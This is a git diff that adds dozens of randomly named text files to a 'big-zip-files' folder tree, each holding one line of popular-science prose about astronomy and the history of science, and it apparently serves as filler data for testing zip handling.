diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_fryxloomnejpw.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_fryxloomnejpw.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_fryxloomnejpw.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_fzfpwijnhnwzhcdsksu.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_fzfpwijnhnwzhcdsksu.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_fzfpwijnhnwzhcdsksu.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_gachclbrcbpgmuulgiw.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_gachclbrcbpgmuulgiw.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_gachclbrcbpgmuulgiw.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_gxzfzvryyrbhcrifamg.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_gxzfzvryyrbhcrifamg.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_gxzfzvryyrbhcrifamg.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_hvkzfkfpzkmprq.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_hvkzfkfpzkmprq.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_hvkzfkfpzkmprq.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_hztjcqjzldeakn.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_hztjcqjzldeakn.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_hztjcqjzldeakn.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_igoqarvquxyzyhq.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_igoqarvquxyzyhq.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_igoqarvquxyzyhq.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_laeigrirqpxwlwuzdnybln.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_laeigrirqpxwlwuzdnybln.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_laeigrirqpxwlwuzdnybln.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_lnaxwkkpeblnh.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_lnaxwkkpeblnh.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_lnaxwkkpeblnh.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_mwmzvcavuqpwhwfcozwkh.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_mwmzvcavuqpwhwfcozwkh.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_mwmzvcavuqpwhwfcozwkh.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_oheofbdmahxnvgyqg.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_oheofbdmahxnvgyqg.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_oheofbdmahxnvgyqg.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_pdrhziqomyjnzctki.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_pdrhziqomyjnzctki.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_pdrhziqomyjnzctki.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_rgvozefecaeigee.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_rgvozefecaeigee.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_rgvozefecaeigee.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_sqeamyllbpkrqiae.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_sqeamyllbpkrqiae.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_sqeamyllbpkrqiae.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_ultvqeejzzmbspclyvbpu.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_ultvqeejzzmbspclyvbpu.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_ultvqeejzzmbspclyvbpu.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_xmozsohi.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_xmozsohi.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_xmozsohi.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_xypbscwuryabnnlip.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_xypbscwuryabnnlip.txt
new file mode 100644
index 0000000..7ce51f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/file_xypbscwuryabnnlip.txt
@@ -0,0 +1 @@
+waves; or some other kind of transmission that we will not discover for a thousand years.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/fmiajxvskhdksseokh.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/fmiajxvskhdksseokh.txt
new file mode 100644
index 0000000..35af78d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/fmiajxvskhdksseokh.txt
@@ -0,0 +1 @@
+universes, places that would otherwise be forever inaccessible to us? For all we know, there
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/fnjlrhhtiybksbwbh.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/fnjlrhhtiybksbwbh.txt
new file mode 100644
index 0000000..5700488
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/fnjlrhhtiybksbwbh.txt
@@ -0,0 +1 @@
+relatively easily be reinvested in the exploration of the Cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/hcqxwrkgbngtcv.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/hcqxwrkgbngtcv.txt
new file mode 100644
index 0000000..66fb09f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/hcqxwrkgbngtcv.txt
@@ -0,0 +1 @@
+is lifeless. It is not a plausible source of raw materials: the freightage from Mars to Earth
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ioohtxoknkrbiswbf.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ioohtxoknkrbiswbf.txt
new file mode 100644
index 0000000..97c9fe2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ioohtxoknkrbiswbf.txt
@@ -0,0 +1 @@
+of dust in the morning sky.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/iosufsbghaacbmmsgto.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/iosufsbghaacbmmsgto.txt
new file mode 100644
index 0000000..628e7d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/iosufsbghaacbmmsgto.txt
@@ -0,0 +1 @@
+the other stars must have planets too, ones we have not yet detected, and some of those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/jakiosxjuvywuxhewcxva.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/jakiosxjuvywuxhewcxva.txt
new file mode 100644
index 0000000..bfd88c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/jakiosxjuvywuxhewcxva.txt
@@ -0,0 +1 @@
+the members of his crew perished.*
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/jgeihonmiweclv.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/jgeihonmiweclv.txt
new file mode 100644
index 0000000..4d00c7d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/jgeihonmiweclv.txt
@@ -0,0 +1 @@
+fluorocarbon propellants in aerosol spray cans, which have accordingly been banned by a number of nations;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/kvsucilmi.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/kvsucilmi.txt
new file mode 100644
index 0000000..f5ae806
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/kvsucilmi.txt
@@ -0,0 +1 @@
+photographically, even from Mars orbit, it must likewise have accomplished a major
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/lnzhiuqdqqlmfvtknzn.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/lnzhiuqdqqlmfvtknzn.txt
new file mode 100644
index 0000000..588555a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/lnzhiuqdqqlmfvtknzn.txt
@@ -0,0 +1 @@
+Many Ionians believed the underlying harmony of the universe to be accessible
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/lzijydpqopz.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/lzijydpqopz.txt
new file mode 100644
index 0000000..f9a8d06
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/lzijydpqopz.txt
@@ -0,0 +1 @@
+The bulk density of Titan is so low that there must be a vast supply of water and other ices,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/mimitpswsitgi.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/mimitpswsitgi.txt
new file mode 100644
index 0000000..9e983c4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/mimitpswsitgi.txt
@@ -0,0 +1 @@
+slowly moves, passes in front of stars. Later you can see that the stars are not harmed. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/mnyoogjatvhfqkdx.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/mnyoogjatvhfqkdx.txt
new file mode 100644
index 0000000..3bcd55e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/mnyoogjatvhfqkdx.txt
@@ -0,0 +1 @@
+have ensured his place in the history of human accomplishment. In the footsteps of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ojabyokfurxadscrtfbjzgr.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ojabyokfurxadscrtfbjzgr.txt
new file mode 100644
index 0000000..0706ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ojabyokfurxadscrtfbjzgr.txt
@@ -0,0 +1 @@
+roughness. This fine scale of roughness Democritus identified with the world of the atoms.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/pslnoopdvdwegducq.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/pslnoopdvdwegducq.txt
new file mode 100644
index 0000000..70fc9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/pslnoopdvdwegducq.txt
@@ -0,0 +1 @@
+before the nominal landing date.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/rvcbkaulgntl.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/rvcbkaulgntl.txt
new file mode 100644
index 0000000..1be5e03
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/rvcbkaulgntl.txt
@@ -0,0 +1 @@
+But that reassured almost no one. For example, headlines in the San Francisco
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/sfmzojzrbtkmqvbw.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/sfmzojzrbtkmqvbw.txt
new file mode 100644
index 0000000..2587010
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/sfmzojzrbtkmqvbw.txt
@@ -0,0 +1 @@
+speed of thought’ is occasionally proffered. This is an exceptionally silly notion especially
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/szbirdgqxxxejxd.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/szbirdgqxxxejxd.txt
new file mode 100644
index 0000000..5c5b278
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/szbirdgqxxxejxd.txt
@@ -0,0 +1 @@
+our Sun, the upholding and energizing centres of systems of worlds, adapted to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ufmriuvxlafepchn.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ufmriuvxlafepchn.txt
new file mode 100644
index 0000000..248ae55
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/ufmriuvxlafepchn.txt
@@ -0,0 +1 @@
+have remarkable practical applications.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/wqovdsqrcqcgpg.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/wqovdsqrcqcgpg.txt
new file mode 100644
index 0000000..20dd074
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/wqovdsqrcqcgpg.txt
@@ -0,0 +1 @@
+come together, but extremely difficult for the heavy, turbid material to solidify.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/wwgtaqfqe.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/wwgtaqfqe.txt
new file mode 100644
index 0000000..07f5454
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/wwgtaqfqe.txt
@@ -0,0 +1 @@
+motion of the planets was published by a Polish Catholic cleric named Nicholas
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/zltwijtofqqv.txt b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/zltwijtofqqv.txt
new file mode 100644
index 0000000..19ec0d4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nqbpooukfd/folder_xsyvrzdqhl/zltwijtofqqv.txt
@@ -0,0 +1 @@
+beings in the Cosmos. And we have sent recordings of the sounds that would have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_febmytnggnctfy.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_febmytnggnctfy.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_febmytnggnctfy.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_gzdumajtkgtiqzwbdlstrd.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_gzdumajtkgtiqzwbdlstrd.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_gzdumajtkgtiqzwbdlstrd.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_itrzzkvvvnzy.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_itrzzkvvvnzy.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_itrzzkvvvnzy.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_ituclmdhsxqeijurybseedh.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_ituclmdhsxqeijurybseedh.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_ituclmdhsxqeijurybseedh.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_joklwvjiljqfebbe.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_joklwvjiljqfebbe.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_joklwvjiljqfebbe.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_mehtespnngvzxadav.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_mehtespnngvzxadav.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_mehtespnngvzxadav.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_odzrzykuzik.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_odzrzykuzik.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_odzrzykuzik.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_qrmpdjywmqmykltekfot.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_qrmpdjywmqmykltekfot.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_qrmpdjywmqmykltekfot.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_sfceiohiuvjs.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_sfceiohiuvjs.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_sfceiohiuvjs.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_uitcyceeakx.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_uitcyceeakx.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_uitcyceeakx.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_vupfpngywuavifwbmyuricy.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_vupfpngywuavifwbmyuricy.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_vupfpngywuavifwbmyuricy.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_wmocmbwvijjgmy.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_wmocmbwvijjgmy.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_wmocmbwvijjgmy.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/file_ytxiqwjaxuciytubbzbzti.txt b/big_zip/big-zip-files/folder_nscwbcvogl/file_ytxiqwjaxuciytubbzbzti.txt
new file mode 100644
index 0000000..dde3b78
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/file_ytxiqwjaxuciytubbzbzti.txt
@@ -0,0 +1 @@
+protons in the universe. Accordingly, the number of possible individual human beings is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_confzmquamocrygj.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_confzmquamocrygj.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_confzmquamocrygj.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_drlqfpjp.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_drlqfpjp.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_drlqfpjp.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_dyfkmwxliincnbvlcybqp.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_dyfkmwxliincnbvlcybqp.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_dyfkmwxliincnbvlcybqp.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_fdiqzvungtijndjaoyll.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_fdiqzvungtijndjaoyll.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_fdiqzvungtijndjaoyll.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_gqplowsc.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_gqplowsc.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_gqplowsc.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_jdfvksbphaoptkxqyyegmkim.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_jdfvksbphaoptkxqyyegmkim.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_jdfvksbphaoptkxqyyegmkim.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_mrrdpyjutwjxeczntov.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_mrrdpyjutwjxeczntov.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_mrrdpyjutwjxeczntov.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_mzavqkgbwgvv.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_mzavqkgbwgvv.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_mzavqkgbwgvv.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_papdpbjiptfxpjeteua.txt b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_papdpbjiptfxpjeteua.txt
new file mode 100644
index 0000000..9d5b17d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_nscwbcvogl/folder_fjxweasfpe/file_papdpbjiptfxpjeteua.txt
@@ -0,0 +1 @@
+longer a monopoly of the priests and scribes. The thoughts of many were available for
\ No newline at end of file
